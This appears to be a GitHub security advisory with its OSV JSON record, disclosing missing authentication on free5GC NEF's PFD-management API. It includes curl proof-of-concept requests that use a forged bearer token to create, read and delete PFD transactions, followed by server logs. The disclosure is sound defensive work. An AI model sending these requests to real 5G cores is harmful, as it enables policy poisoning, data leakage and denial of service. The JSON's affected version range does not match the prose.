GHSA-5F62-53R8-QRQF

Vulnerability from github – Published: 2026-05-08 22:39 – Updated: 2026-06-08 23:47
VLAI
Summary
free5GC's NEF 3gpp-pfd-management API is unauthenticated; forged bearer tokens can create, read, and delete PFD transactions
Details

Summary

free5GC's NEF mounts the 3gpp-pfd-management API without inbound OAuth2/bearer-token authorization. A network attacker who can reach NEF on the SBI can create, read, and delete PFD-management transaction state with a forged or arbitrary bearer token (e.g. Authorization: Bearer not-a-real-token). The route group is also reachable even when the running config's ServiceList does not declare it, so operators who think they disabled the service via config are still exposed.

Details

Validated against the NEF container in the official Docker compose lab. - Source repo tag: v4.2.1 - Running Docker image: free5gc/nef:v4.2.0 - Runtime NEF commit: 5ce35eab - Docker validation date: 2026-03-11

NEF advertises OAuth2 setting receive from NRF: true, and its ServiceList only declares nnef-pfdmanagement and nnef-oam. Despite that, the 3gpp-pfd-management route group is mounted and reachable with no inbound auth middleware.

Code evidence (paths in free5gc/nef): - Route group mounted without auth middleware: NFs/nef/internal/sbi/server.go:52 - Transaction routes exposed at /:scsAsID/transactions and /:scsAsID/transactions/:transID: NFs/nef/internal/sbi/api_pfd.go:13 - Create handler still contains // TODO: Authorize the AF: NFs/nef/internal/sbi/processor/pfd.go:70 - POST allocates a new PFD transaction and writes to UDR: NFs/nef/internal/sbi/processor/pfd.go:63 - GET reads transaction state: NFs/nef/internal/sbi/processor/pfd.go:189 - DELETE removes transaction state: NFs/nef/internal/sbi/processor/pfd.go:328 - NEF context only exposes outbound token acquisition (GetTokenCtx); there is no inbound authorization path: NFs/nef/internal/context/nef_context.go:153 - Config validation only allows nnef-pfdmanagement and nnef-oam: NFs/nef/pkg/factory/config.go:126

PoC

Reproduced end-to-end against the running NEF at http://10.100.200.19:8000 using a fabricated bearer token.

  1. Seed an AF context (also accepted with forged token):
curl -i \
  -H 'Authorization: Bearer not-a-real-token' \
  -H 'Content-Type: application/json' \
  --data '{"afServiceId":"svc-seed2","afAppId":"app-seed2","dnn":"internet","snssai":{"sst":1,"sd":"010203"},"anyUeInd":true,"trafficFilters":[{"flowId":1,"flowDescriptions":["permit out ip from 192.0.2.31 to 198.51.100.0/24"]}],"trafficRoutes":[{"dnai":"mec-seed2","routeInfo":{"ipv4Addr":"10.60.0.1","portNumber":0}}]}' \
  http://10.100.200.19:8000/3gpp-traffic-influence/v1/af-poc-pfd2/subscriptions
  1. CREATE PFD transaction with forged token -> 201 Created:
curl -i \
  -H 'Authorization: Bearer not-a-real-token' \
  -H 'Content-Type: application/json' \
  --data '{"pfdDatas":{"app-poc-pfd2":{"externalAppId":"app-poc-pfd2","pfds":{"pfd-poc":{"pfdId":"pfd-poc","urls":["^http://poc.example.com(/\\\\S*)?$"]}}}}}' \
  http://10.100.200.19:8000/3gpp-pfd-management/v1/af-poc-pfd2/transactions
  1. READ -> 200 OK:
curl -i -H 'Authorization: Bearer not-a-real-token' \
  http://10.100.200.19:8000/3gpp-pfd-management/v1/af-poc-pfd2/transactions/1
  1. DELETE -> 204 No Content:
curl -i -X DELETE -H 'Authorization: Bearer not-a-real-token' \
  http://10.100.200.19:8000/3gpp-pfd-management/v1/af-poc-pfd2/transactions/1
  1. READ again -> 404 PFD transaction not found, confirming state was actually deleted.

NEF container logs (docker logs nef) show the requests reaching business handlers and returning success codes:

[INFO][NEF][PFDMng] PostPFDManagementTransactions - scsAsID[af-poc-pfd2]
[INFO][NEF][GIN] | 201 | POST   | /3gpp-pfd-management/v1/af-poc-pfd2/transactions
[INFO][NEF][PFDMng] GetIndividualPFDManagementTransaction - scsAsID[af-poc-pfd2], transID[1]
[INFO][NEF][GIN] | 200 | GET    | /3gpp-pfd-management/v1/af-poc-pfd2/transactions/1
[INFO][NEF][PFDMng] DeleteIndividualPFDManagementTransaction - scsAsID[af-poc-pfd2], transID[1]
[INFO][NEF][GIN] | 204 | DELETE | /3gpp-pfd-management/v1/af-poc-pfd2/transactions/1

Impact

Missing inbound authentication (CWE-306) and authorization (CWE-862) on a critical SBI surface in NEF. Any party that can reach NEF on the SBI network can: - Create attacker-controlled PFD transactions (which are written to UDR), poisoning policy state used downstream by SMF/UPF for traffic classification. - Read existing PFD transactions, leaking AF-supplied policy data. - Delete PFD transactions, denying service to legitimately provisioned application detection rules.

The PFD-management route group is also reachable even when the runtime ServiceList does not declare it, so operators relying on ServiceList to disable the service do not actually get that protection.

Affected: free5gc <=v4.2.1.

Upstream issue: https://github.com/free5gc/free5gc/issues/858 Upstream fix: https://github.com/free5gc/nef/pull/23

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/free5gc/nef"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "1.2.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-44315"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-862"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-08T22:39:16Z",
    "nvd_published_at": "2026-05-27T17:16:36Z",
    "severity": "CRITICAL"
  },
  "details": "### Summary\nfree5GC\u0027s NEF mounts the `3gpp-pfd-management` API without inbound OAuth2/bearer-token authorization. A network attacker who can reach NEF on the SBI can create, read, and delete PFD-management transaction state with a forged or arbitrary bearer token (e.g. `Authorization: Bearer not-a-real-token`). The route group is also reachable even when the running config\u0027s `ServiceList` does not declare it, so operators who think they disabled the service via config are still exposed.\n\n### Details\nValidated against the NEF container in the official Docker compose lab.\n- Source repo tag: `v4.2.1`\n- Running Docker image: `free5gc/nef:v4.2.0`\n- Runtime NEF commit: `5ce35eab`\n- Docker validation date: 2026-03-11\n\nNEF advertises `OAuth2 setting receive from NRF: true`, and its `ServiceList` only declares `nnef-pfdmanagement` and `nnef-oam`. Despite that, the `3gpp-pfd-management` route group is mounted and reachable with no inbound auth middleware.\n\nCode evidence (paths in `free5gc/nef`):\n- Route group mounted without auth middleware: `NFs/nef/internal/sbi/server.go:52`\n- Transaction routes exposed at `/:scsAsID/transactions` and `/:scsAsID/transactions/:transID`: `NFs/nef/internal/sbi/api_pfd.go:13`\n- Create handler still contains `// TODO: Authorize the AF`: `NFs/nef/internal/sbi/processor/pfd.go:70`\n- POST allocates a new PFD transaction and writes to UDR: `NFs/nef/internal/sbi/processor/pfd.go:63`\n- GET reads transaction state: `NFs/nef/internal/sbi/processor/pfd.go:189`\n- DELETE removes transaction state: `NFs/nef/internal/sbi/processor/pfd.go:328`\n- NEF context only exposes outbound token acquisition (`GetTokenCtx`); there is no inbound authorization path: `NFs/nef/internal/context/nef_context.go:153`\n- Config validation only allows `nnef-pfdmanagement` and `nnef-oam`: `NFs/nef/pkg/factory/config.go:126`\n\n### PoC\nReproduced end-to-end against the running NEF at `http://10.100.200.19:8000` using a fabricated bearer token.\n\n1. Seed an AF context (also accepted with forged token):\n```\ncurl -i \\\n  -H \u0027Authorization: Bearer not-a-real-token\u0027 \\\n  -H \u0027Content-Type: application/json\u0027 \\\n  --data \u0027{\"afServiceId\":\"svc-seed2\",\"afAppId\":\"app-seed2\",\"dnn\":\"internet\",\"snssai\":{\"sst\":1,\"sd\":\"010203\"},\"anyUeInd\":true,\"trafficFilters\":[{\"flowId\":1,\"flowDescriptions\":[\"permit out ip from 192.0.2.31 to 198.51.100.0/24\"]}],\"trafficRoutes\":[{\"dnai\":\"mec-seed2\",\"routeInfo\":{\"ipv4Addr\":\"10.60.0.1\",\"portNumber\":0}}]}\u0027 \\\n  http://10.100.200.19:8000/3gpp-traffic-influence/v1/af-poc-pfd2/subscriptions\n```\n\n2. CREATE PFD transaction with forged token -\u003e `201 Created`:\n```\ncurl -i \\\n  -H \u0027Authorization: Bearer not-a-real-token\u0027 \\\n  -H \u0027Content-Type: application/json\u0027 \\\n  --data \u0027{\"pfdDatas\":{\"app-poc-pfd2\":{\"externalAppId\":\"app-poc-pfd2\",\"pfds\":{\"pfd-poc\":{\"pfdId\":\"pfd-poc\",\"urls\":[\"^http://poc.example.com(/\\\\\\\\S*)?$\"]}}}}}\u0027 \\\n  http://10.100.200.19:8000/3gpp-pfd-management/v1/af-poc-pfd2/transactions\n```\n\n3. READ -\u003e `200 OK`:\n```\ncurl -i -H \u0027Authorization: Bearer not-a-real-token\u0027 \\\n  http://10.100.200.19:8000/3gpp-pfd-management/v1/af-poc-pfd2/transactions/1\n```\n\n4. DELETE -\u003e `204 No Content`:\n```\ncurl -i -X DELETE -H \u0027Authorization: Bearer not-a-real-token\u0027 \\\n  http://10.100.200.19:8000/3gpp-pfd-management/v1/af-poc-pfd2/transactions/1\n```\n\n5. READ again -\u003e `404 PFD transaction not found`, confirming state was actually deleted.\n\nNEF container logs (`docker logs nef`) show the requests reaching business handlers and returning success codes:\n```\n[INFO][NEF][PFDMng] PostPFDManagementTransactions - scsAsID[af-poc-pfd2]\n[INFO][NEF][GIN] | 201 | POST   | /3gpp-pfd-management/v1/af-poc-pfd2/transactions\n[INFO][NEF][PFDMng] GetIndividualPFDManagementTransaction - scsAsID[af-poc-pfd2], transID[1]\n[INFO][NEF][GIN] | 200 | GET    | /3gpp-pfd-management/v1/af-poc-pfd2/transactions/1\n[INFO][NEF][PFDMng] DeleteIndividualPFDManagementTransaction - scsAsID[af-poc-pfd2], transID[1]\n[INFO][NEF][GIN] | 204 | DELETE | /3gpp-pfd-management/v1/af-poc-pfd2/transactions/1\n```\n\n### Impact\nMissing inbound authentication (CWE-306) and authorization (CWE-862) on a critical SBI surface in NEF. Any party that can reach NEF on the SBI network can:\n- Create attacker-controlled PFD transactions (which are written to UDR), poisoning policy state used downstream by SMF/UPF for traffic classification.\n- Read existing PFD transactions, leaking AF-supplied policy data.\n- Delete PFD transactions, denying service to legitimately provisioned application detection rules.\n\nThe PFD-management route group is also reachable even when the runtime `ServiceList` does not declare it, so operators relying on `ServiceList` to disable the service do not actually get that protection.\n\nAffected: free5gc \u003c=v4.2.1.\n\nUpstream issue: https://github.com/free5gc/free5gc/issues/858\nUpstream fix: https://github.com/free5gc/nef/pull/23",
  "id": "GHSA-5f62-53r8-qrqf",
  "modified": "2026-06-08T23:47:59Z",
  "published": "2026-05-08T22:39:16Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/free5gc/free5gc/security/advisories/GHSA-5f62-53r8-qrqf"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-44315"
    },
    {
      "type": "WEB",
      "url": "https://github.com/free5gc/free5gc/issues/858"
    },
    {
      "type": "WEB",
      "url": "https://github.com/free5gc/nef/pull/23"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/free5gc/free5gc"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "free5GC\u0027s NEF 3gpp-pfd-management API is unauthenticated; forged bearer tokens can create, read, and delete PFD transactions"
}



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